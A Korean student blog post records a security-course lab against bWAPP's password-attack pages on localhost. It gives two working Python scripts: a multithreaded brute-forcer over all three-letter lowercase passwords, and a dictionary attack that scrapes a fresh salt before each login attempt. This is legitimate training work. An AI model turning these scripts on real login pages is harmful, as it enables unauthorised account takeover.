Notice
Recent Posts
Recent Comments
Link
반응형
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 |
Tags
- 깃
- 자바
- SK쉴더스
- 레나튜토리얼
- 트랜스포트 계층
- 루키즈 31기
- 애플리케이션 계층
- 우아한테크코스
- Dreamhack
- sk 쉴더스 루키즈
- 위상 정렬
- linux
- 백엔드
- 루키즈31기
- React
- SK쉴더스루키즈
- 악성코드 분석
- 코리안챔버오케스트라
- 프랑스어 #프랑스어배우기 #프랑스어독학 #델프인강 #시원스쿨프랑스어 #delf독학 #델프 #프랑스어기초 #프랑스어공부
- c
- 알고리즘
- 서울청년문화패스
- webhacking
- 진입차수
- 다이나믹 프로그래밍
- sk쉴더스 루키즈
- 우테코
- 웹개발
- 프리코스
- 예술의 전당
Archives
- Today
- Total
yon11b
[SK 쉴더스 루키즈] Authentication Failures - 비밀번호 brute forcing 공격 실습 본문
보안/SK 쉴더스 루키즈
[SK 쉴더스 루키즈] Authentication Failures - 비밀번호 brute forcing 공격 실습
yon11b 2026. 5. 8. 00:51반응형
bWAPP Broken Auth - Password Attacks
1. Low level


attack 하고 있는 모습…

무료 버전이라서 엄청 오래 걸린다. 한 단어 넣는데 3초가 걸린다. 근데 1만 단어 정도는 해야 한다...
그래서 멀티쓰레드 코드도 만들어봤다.
import socket
import itertools
import string
import threading
from urllib.parse import quote
# ===== 설정 =====
HOST = "127.0.0.1"
PORT = 8080
PATH = "/ba_pwd_attacks_1.php"
COOKIE = "PHPSESSID=5fl4djukk1iuli574cn7ka7kq4; security_level=0"
LOGIN_ID = "bee"
PASSWORD_LENGTH = 3
CHARSET = string.ascii_lowercase # a-z
THREAD_COUNT = 10
SUCCESS_KEYWORD = "Successful login"
# ===== 동기화 =====
found_event = threading.Event()
found_password = [None]
print_lock = threading.Lock()
attempt_counter = [0]
counter_lock = threading.Lock()
def recv_all(sock, timeout=3):
sock.settimeout(timeout)
data = b""
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
except socket.timeout:
pass
return data.decode("utf-8", errors="ignore")
def try_password(password):
"""패스워드 시도. 성공 시 True 반환"""
body = (
f"login={quote(LOGIN_ID)}"
f"&password={quote(password)}"
f"&form=submit"
)
content_length = len(body)
request = (
f"POST {PATH} HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Content-Length: {content_length}\r\n"
f"Cache-Control: max-age=0\r\n"
f'sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"\r\n'
f"sec-ch-ua-mobile: ?0\r\n"
f'sec-ch-ua-platform: "Windows"\r\n'
f"Accept-Language: ko-KR,ko;q=0.9\r\n"
f"Origin: http://{HOST}:{PORT}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Upgrade-Insecure-Requests: 1\r\n"
f"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
f"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\r\n"
f"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,"
f"image/avif,image/webp,image/apng,*/*;q=0.8,"
f"application/signed-exchange;v=b3;q=0.7\r\n"
f"Sec-Fetch-Site: same-origin\r\n"
f"Sec-Fetch-Mode: navigate\r\n"
f"Sec-Fetch-User: ?1\r\n"
f"Sec-Fetch-Dest: document\r\n"
f"Referer: http://{HOST}:{PORT}{PATH}\r\n"
f"Accept-Encoding: identity\r\n"
f"Cookie: {COOKIE}\r\n"
f"Connection: close\r\n"
f"\r\n"
f"{body}"
)
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.sendall(request.encode())
response = recv_all(s)
return SUCCESS_KEYWORD in response
except Exception as e:
with print_lock:
print(f"[!] 요청 오류 ({password}): {e}")
return False
def worker(password_chunk):
"""각 스레드가 할당받은 패스워드 묶음을 시도"""
for password in password_chunk:
if found_event.is_set():
return
success = try_password(password)
with counter_lock:
attempt_counter[0] += 1
current = attempt_counter[0]
if success:
found_password[0] = password
found_event.set()
with print_lock:
print(f"\n[+] 성공! password = {password} (시도 횟수: {current})")
return
else:
with print_lock:
if current % 100 == 0:
print(f"[*] 진행 중... {current}회 시도, 최근 시도: {password}")
def chunkify(lst, n):
"""리스트를 n개의 묶음으로 분할"""
chunks = [[] for _ in range(n)]
for i, item in enumerate(lst):
chunks[i % n].append(item)
return chunks
def bruteforce():
# 모든 조합 생성: aaa, aab, aac, ..., zzz
all_passwords = [
"".join(combo)
for combo in itertools.product(CHARSET, repeat=PASSWORD_LENGTH)
]
total = len(all_passwords)
print(f"[*] 대상: http://{HOST}:{PORT}{PATH}")
print(f"[*] 패스워드 길이: {PASSWORD_LENGTH}, 문자셋: a-z")
print(f"[*] 총 조합 수: {total}")
print(f"[*] 스레드 수: {THREAD_COUNT}\n")
# 패스워드를 스레드 수만큼 나눔
chunks = chunkify(all_passwords, THREAD_COUNT)
threads = []
for chunk in chunks:
t = threading.Thread(target=worker, args=(chunk,))
t.start()
threads.append(t)
for t in threads:
t.join()
if found_password[0]:
print(f"\n[+] 최종 결과: {found_password[0]}")
else:
print("\n[-] 패스워드를 찾지 못했습니다.")
if __name__ == "__main__":
bruteforce()

2. Medium level

여기서는 salt도 들어간다.
즉, login + password + salt 가 다 맞아야 success가 되는 것이다.
code로 브루트포싱 후 요청을 보내서 salt값을 받아오고 같이 요청 보내서 최종 맞는지 확인까지 해보자
import socket
import re
from urllib.parse import quote
# ===== 설정 =====
HOST = "127.0.0.1"
PORT = 8080
PATH = "/ba_pwd_attacks_2.php"
COOKIE = "PHPSESSID=5fl4djukk1iuli574cn7ka7kq4; security_level=1"
LOGIN_ID = "bee"
# 패스워드 사전 (실제로는 rockyou.txt 등 외부 파일 사용)
PASSWORD_LIST = [
"123456", "password", "admin", "qwerty",
"letmein", "bug", "test", "12345"
]
# 로그인 성공/실패 판별 문자열 (응답 본문 기준)
SUCCESS_KEYWORD = "Successful login"
FAILURE_KEYWORD = "Invalid credentials"
def recv_all(sock, timeout=3):
"""소켓에서 응답을 모두 수신"""
sock.settimeout(timeout)
data = b""
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
# Content-Length 기반으로 종료 판단도 가능하지만
# 단순화를 위해 timeout으로 종료
except socket.timeout:
pass
return data.decode("utf-8", errors="ignore")
def get_salt():
"""GET 요청을 보내 페이지에서 salt 값 추출"""
request = (
f"GET {PATH} HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
f"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\r\n"
f"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
f"Accept-Language: ko-KR,ko;q=0.9\r\n"
f"Cookie: {COOKIE}\r\n"
f"Connection: close\r\n"
f"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.sendall(request.encode())
response = recv_all(s)
# <input type="hidden" id="salt" name="salt" value="XXXXX" /> 에서 salt 추출
match = re.search(r'name="salt"\s+value="([^"]+)"', response)
if not match:
return None
return match.group(1)
def try_password(password, salt):
"""주어진 salt로 패스워드 시도. 응답 본문 반환"""
# 폼 데이터 구성 (원본 요청과 동일한 순서/형식)
body = (
f"login={quote(LOGIN_ID)}"
f"&password={quote(password)}"
f"&salt={quote(salt)}"
f"&form=submit"
)
content_length = len(body)
# 원본 캡처와 거의 동일한 헤더 유지
request = (
f"POST {PATH} HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Content-Length: {content_length}\r\n"
f"Cache-Control: max-age=0\r\n"
f'sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"\r\n'
f"sec-ch-ua-mobile: ?0\r\n"
f'sec-ch-ua-platform: "Windows"\r\n'
f"Accept-Language: ko-KR,ko;q=0.9\r\n"
f"Origin: http://{HOST}:{PORT}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Upgrade-Insecure-Requests: 1\r\n"
f"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
f"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\r\n"
f"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,"
f"image/avif,image/webp,image/apng,*/*;q=0.8,"
f"application/signed-exchange;v=b3;q=0.7\r\n"
f"Sec-Fetch-Site: same-origin\r\n"
f"Sec-Fetch-Mode: navigate\r\n"
f"Sec-Fetch-User: ?1\r\n"
f"Sec-Fetch-Dest: document\r\n"
f"Referer: http://{HOST}:{PORT}{PATH}\r\n"
# 파싱 단순화를 위해 압축 응답은 요청하지 않음 (원본은 gzip 포함)
f"Accept-Encoding: identity\r\n"
f"Cookie: {COOKIE}\r\n"
f"Connection: close\r\n"
f"\r\n"
f"{body}"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.sendall(request.encode())
response = recv_all(s)
return response
def bruteforce():
print(f"[*] 대상: http://{HOST}:{PORT}{PATH}")
print(f"[*] 시도할 패스워드 개수: {len(PASSWORD_LIST)}\n")
for idx, password in enumerate(PASSWORD_LIST, 1):
# 1) 매 시도마다 새 salt 추출
salt = get_salt()
if salt is None:
print(f"[!] salt 추출 실패. 세션 또는 페이지 확인 필요.")
break
# 2) 추출한 salt로 패스워드 시도
response = try_password(password, salt)
# 3) 결과 판별
status = "FAIL"
if SUCCESS_KEYWORD in response:
status = "SUCCESS"
print(f"[{idx:>3}] salt={salt:<10} password={password:<15} -> {status}")
if status == "SUCCESS":
print(f"\n[+] 패스워드 발견: {password}")
return password
print("\n[-] 패스워드를 찾지 못했습니다.")
return None
if __name__ == "__main__":
bruteforce()

전체 흐름
GET 요청 → 서버가 salt="abc123" 발급 → HTML에서 추출
↓
POST 요청에 password="123456" + salt="abc123" 같이 전송
↓
실패 → 다시 GET 요청 → 서버가 salt="xyz789" 새로 발급
↓
POST 요청에 password="password" + salt="xyz789" 전송
728x90
'보안 > SK 쉴더스 루키즈' 카테고리의 다른 글
| [SK 쉴더스 루키즈] 중앙집중형 로그 관리 환경 구축(Fluent-Bit, OpenSearch Dashboard) (0) | 2026.05.09 |
|---|---|
| [SK 쉴더스 루키즈] notepad++ 무결성 검증하기 (0) | 2026.05.09 |
| [SK 쉴더스 루키즈] CSRF 실습(NodeGoat, bWAPP) (0) | 2026.05.08 |
| [SK 쉴더스 루키즈] Insecure Design(tampering 실습) (0) | 2026.05.07 |
| [SK 쉴더스 루키즈] bWAPP iFrame Injection 문제 (0) | 2026.05.07 |
